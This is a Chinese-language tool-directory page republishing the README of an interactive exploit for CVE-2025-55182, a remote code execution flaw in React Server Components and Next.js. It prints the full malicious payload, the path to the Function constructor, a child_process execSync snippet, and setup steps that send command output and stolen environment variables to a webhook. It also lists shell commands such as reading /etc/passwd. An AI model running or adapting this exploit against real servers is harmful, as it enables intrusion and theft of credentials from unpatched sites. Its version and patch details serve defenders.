Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
react2shell-interactive — CVE-2025-55182 交互式 PoC - React Server Components RCE - 教育性安全研究 | Kitploit
工具/GitHubGitHub/nathanj60/react2shell-interactive
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育远程访问工具Payload 开发
GitHubnathanj60/react2shell-interactive

react2shell-interactive

CVE-2025-55182 交互式 PoC - React Server Components RCE - 教育性安全研究

查看仓库
8个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

React2Shell - CVE-2025-55182 交互式 PoC

用于利用 CVE-2025-55182 的交互式 shell,该漏洞是 React Server Components 中的一个远程代码执行漏洞。

免责声明

本工具仅供教育和授权安全测试使用。

  • 仅可在您拥有或已获得明确书面许可的系统上使用
  • 未经授权访问计算机系统属于违法行为
  • 作者不对任何滥用本工具的行为负责
  • 这是一个用于安全研究和意识提升的概念验证(PoC)

漏洞概述

CVE-2025-55182 影响以下环境中的 React Server Components (RSC):

  • Next.js < 15.1.7、< 14.2.29、< 13.5.9
  • Waku(多个版本)

该漏洞允许攻击者通过发送到 Server Actions 的恶意载荷实现远程代码执行(RCE)。

工作原理

  1. RSC 协议使用 $@x 语法来引用内部 Chunk 对象
  2. JavaScript 会自动解包带有 .then() 方法的对象(类似 Promise)
  3. 通过构造包含受控 _response、_formData 和 _prefix 属性的恶意载荷
  4. 攻击者可以通过原型链遍历到达 Function 构造函数
  5. 这允许在服务器上执行任意 JavaScript
root@kitploit:~
$3:constructor:constructor → Function constructor → RCE

安装

root@kitploit:~
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install

配置

编辑 exploit.js 并更新以下值:

root@kitploit:~
const TARGET_URL = 'http://localhost:3000/'          // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // Your webhook URL

在 https://webhook.site 获取免费 webhook

使用方法

root@kitploit:~
node exploit.js

命令

示例会话

root@kitploit:~
react2shell> !test
[+] Sent! Check webhook

react2shell> whoami
[+] Sent: whoami

react2shell> ls -la
[+] Sent: ls -la

react2shell> !env
[+] Sent! Check webhook for env vars

结果会出现在您的 webhook 中,而不是终端中。

技术细节

载荷结构

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': '<JAVASCRIPT_CODE>//',
        '_formData': { 'get': '$3:constructor:constructor' },
        '_chunks': '$2:_response:_chunks'
    }
}

执行流程

  1. Payload 以 multipart 表单数据形式发送,并带有 next-action 头部
  2. React Flight 解析器处理这些 chunks
  3. $@3 创建一个 Chunk 引用
  4. $3:constructor:constructor 遍历到 Function
  5. _prefix 的内容被传递给 Function() 并执行

Next.js 15+ 注意事项

  • 使用 ESM 模块,因此 require() 不可用
  • 请改用动态 import():
    root@kitploit:~
    import("child_process").then(cp => cp.execSync("whoami"))
    

已修补版本

升级到以下版本以修复该漏洞:

  • Next.js >= 15.1.7
  • Next.js >= 14.2.29
  • Next.js >= 13.5.9

参考资料

  • React2Shell 官方网站
  • Google Tsunami 扫描器插件

许可证

MIT 许可证 - 仅用于教育目的。

作者

安全研究 PoC - 请负责任地使用。

下载工具
命令描述
!test测试漏洞利用是否有效(向 webhook 发送确认)
!env窃取环境变量 (process.env)
!js <code>执行自定义 JavaScript
!help显示帮助
!exit退出
<command>执行 shell 命令(例如 whoami、ls、cat /etc/passwd)